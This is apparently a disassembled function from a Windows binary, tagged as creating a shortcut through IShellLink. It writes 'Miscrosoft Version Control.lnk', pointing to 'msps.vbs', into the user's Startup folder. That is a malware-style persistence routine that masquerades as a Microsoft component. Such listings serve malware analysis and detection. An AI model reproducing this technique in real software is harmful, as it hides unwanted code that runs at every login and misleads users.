Function at 0x140004bf0
Capabilities:
Create shortcut via ishelllink

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x1a0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140101940]
xor rax, rsp
mov qword [rsp + 0x188], rax
xor esi, esi
lea rcx, [rsp + 0x108]
call fcn.1400090b0
nop
mov r8d, 8
lea rdx, str.msps.vbs
mov rcx, rax
call fcn.140014c60
xorps xmm0, xmm0
movups xmmword [rsp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x178], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x178], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x140004cc7
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005750
call fcn.1400987d0
movdqa xmm6, xmmword [0x1400f0460]
movdqu xmmword [rsp + 0x118], xmm6
mov byte [rsp + 0x108], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 8
lea rdx, str.USERNAME
lea rcx, [rsp + 0x50]
call fcn.140004a90
nop
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x100], rsi
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xf8]
call fcn.1400a8628
test eax, eax
jne 0x140004db8
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
je 0x140004db8
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x118], xmm1
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140004d70
lea rcx, [rsp + 0x108]
call fcn.140004a90
mov rcx, qword [rsp + 0xf8]
call fcn.1400a7574
movups xmm0, xmmword [rsp + 0x108]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rsp + 0x118]
movups xmmword [rsp + 0x80], xmm1
mov edi, 7
jmp 0x140004de6
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov edi, 7
mov r8d, edi
lea rdx, str.Unknown
lea rcx, [rsp + 0x70]
call fcn.140004a90
nop
mov r8, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
sub rax, r8
lea r15, str.C:Users_
cmp rax, 9
jb 0x140004e98
lea rax, [r8 + 9]
mov qword [rsp + 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x70]
lea rax, [0x1400ed989]
cmp rax, rbx
jbe 0x140004e55
lea rax, [rbx + r8]
cmp r15, rax
ja 0x140004e55
mov r14d, 9
cmp rbx, r15
ja 0x140004e4d
mov r12, rsi
jmp 0x140004e5e
mov r12, rbx
sub r12, r15
jmp 0x140004e5e
mov r14d, 9
mov r12d, r14d
inc r8
lea rcx, [rbx + 9]
mov rdx, rbx
call fcn.1400c6c60
mov r8, r12
mov rdx, r15
mov rcx, rbx
call fcn.1400c6c60
sub r14, r12
lea rdx, [r15 + 9]
add rdx, r12
lea rcx, [rbx + r12]
mov r8, r14
call fcn.1400c6c60
lea rax, [rsp + 0x70]
jmp 0x140004eb5
mov r14d, 9
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov edx, r14d
lea rcx, [rsp + 0x70]
call fcn.14002d800
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], rsi
mov byte [rax], 0
mov r8d, 0x3f
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
lea rcx, [rsp + 0x30]
call fcn.140014c60
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], rsi
mov byte [rax], 0
mov r8d, 0x1e
lea rdx, str.Miscrosoft_Version_Control.lnk
lea rcx, [rsp + 0xd0]
call fcn.140014c60
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x158], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x140004fd4
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005756
call fcn.1400987d0
movdqu xmmword [rsp + 0xe0], xmm6
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140005022
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000501d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000575c
call fcn.1400987d0
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14000506d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005068
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005762
call fcn.1400987d0
movdqu xmmword [rsp + 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400050b8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005768
call fcn.1400987d0
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], 0
lea r8, [rsp + 0x168]
cmp qword [rsp + 0x180], 0xf
cmova r8, qword [rsp + 0x168]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor edx, edx
mov ecx, 0xfde9
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x138], xmm1
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x128]
call fcn.14001f7c0
nop
lea rdx, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rdx, qword [rsp + 0x128]
lea r8, [rsp + 0x168]
cmp qword [rsp + 0x180], 0xf
cmova r8, qword [rsp + 0x168]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
xor edx, edx
mov ecx, 0xfde9
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0xf8], rsi
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400e1da0]
xor edx, edx
mov r8d, 1
lea rcx, [0x1400e33b0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140005517
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rcx]
lea rdx, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rdx, qword [rsp + 0x128]
call qword [rax + 0xa0]
mov qword [rsp + 0x100], rsi
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rcx]
lea r8, [rsp + 0x100]
lea rdx, [0x1400e33a0]
call qword [rax]
xorps xmm0, xmm0
test eax, eax
js 0x14000540c
mov r9, qword [rsp + 0x100]
mov rax, qword [r9]
mov r15, qword [rax + 0x30]
lea rdx, [rsp + 0x148]
cmp qword [rsp + 0x160], 0xf
cmova rdx, qword [rsp + 0x148]
mov r14, qword [rsp + 0x158]
add r14, rdx
lea rbx, [rsp + 0x148]
cmp qword [rsp + 0x160], 0xf
cmova rbx, qword [rsp + 0x148]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
cmp rbx, r14
jne 0x14000527e
mov word [rsp + 0x50], si
jmp 0x14000539b
sub r14, rbx
movabs rax, 0x7ffffffffffffffe
cmp r14, rax
ja 0x14000576e
cmp r14, 7
jbe 0x140005347
mov rdi, r14
or rdi, 7
cmp rdi, rax
jbe 0x1400052d3
mov rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140005336
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005773
jmp 0x14000530a
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140005778
add rcx, rcx
jne 0x1400052bb
mov rax, rsi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x14000534c
mov rcx, rax
call fcn.1400987d8
mov rcx, rax
test rax, rax
je 0x14000577d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x14000534c
call fcn.1400987d8
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x14000534c
mov rax, qword [rsp + 0x50]
lea r9, [rsp + 0x50]
cmp rdi, 7
cmova r9, rax
mov rcx, r9
mov rdx, r14
test r14, r14
je 0x140005384
nop dword [rax]
nop dword [rax + rax]
movsx eax, byte [rbx]
mov word [rcx], ax
lea rcx, [rcx + 2]
lea rbx, [rbx + 1]
sub rdx, 1
jne 0x140005370
mov qword [rsp + 0x60], r14
mov word [r9 + r14*2], si
mov r9, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x68]
lea rdx, [rsp + 0x50]
cmp rdi, 7
cmova rdx, qword [rsp + 0x50]
mov r8d, 1
mov rcx, r9
call r15
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400053f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000577d
call fcn.1400987d0
mov rcx, qword [rsp + 0x100]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x140005504
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x19
lea rdx, str.Shortcut_Creation_Failed1
lea rcx, [rsp + 0x30]
call fcn.140004a90
nop
lea rcx, [rsp + 0x30]
call fcn.140008290
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000547a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005475
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005783
call fcn.1400987d0
mov r8d, socket
lea rdx, str.___Shortcut_Exception
lea rcx, [0x1401025e8]
call fcn.140014c60
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x18
lea rdx, str.Shortcut_Creation_Failed
lea rcx, [rsp + 0x30]
call fcn.140004a90
nop
lea rdx, [rsp + 0x30]
call fcn.14000aaf0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140005504
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005789
call fcn.1400987d0
mov rcx, qword [rsp + 0xf8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x140005612
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x19
lea rdx, str.Shortcut_Creation_Failed2
lea rcx, [rsp + 0x30]
call fcn.140004a90
nop
lea rcx, [rsp + 0x30]
call fcn.140008290
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140005588
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005583
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000578f
call fcn.1400987d0
mov r8d, socket
lea rdx, str.___Shortcut_Exception
lea rcx, [0x1401025e8]
call fcn.140014c60
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x18
lea rdx, str.Shortcut_Creation_Failed
lea rcx, [rsp + 0x30]
call fcn.140004a90
nop
lea rdx, [rsp + 0x30]
call fcn.14000aaf0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140005612
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000560d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005795
call fcn.1400987d0
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
jmp 0x140005625
mov rdx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x14000566d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005668
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000579b
call fcn.1400987d0
movdqa xmm0, xmmword [0x1400f0450]
movdqu xmmword [rsp + 0x138], xmm0
mov word [rsp + 0x128], si
mov rdx, qword [rsp + 0x160]
cmp rdx, 0xf
jbe 0x1400056c9
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057a1
call fcn.1400987d0
movdqu xmmword [rsp + 0x158], xmm6
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0xf
jbe 0x14000571d
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057a7
call fcn.1400987d0
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.1400987b0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.140001570
call fcn.1400014d0
call fcn.1400014d0
call fcn.1400a82a0
int3
call fcn.1400a82a0
int3
call fcn.1400a82a0
int3
call fcn.1400a82a0
int3
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
nop
call fcn.1400a82a0
int3